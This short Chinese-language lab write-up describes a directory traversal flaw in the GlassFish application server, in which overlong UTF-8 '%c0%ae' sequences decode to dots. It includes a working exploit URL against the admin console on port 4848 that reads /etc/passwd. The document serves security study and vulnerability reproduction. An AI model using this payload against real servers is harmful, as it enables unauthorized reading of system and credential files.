Glashfish
GlassFish是一款java编写的跨平台的开源应用服务器,也可以用作Web服务器(Http Server)。
Web服务器意味着:处理HTTP请求(通常来自浏览器)。
Servlet容器(例如Tomcat)意味着:它可以处理servlet和JSP。
应用程序服务器(例如GlassFish)意味着:它可以管理Java EE应用程序(通常是servlet / JSP和EJB)。
思路
java语言中会把%c0%ae
解析为\uC0AE
,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/
来跳转,达到目录穿越、任意文件读取的效果。
漏洞复现
docker部署环境后,访问http://your-ip:8080和http://your-ip:4848即可查看web页面。其中,8080端口是网站内容,4848端口是GlassFish管理中心。
http://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd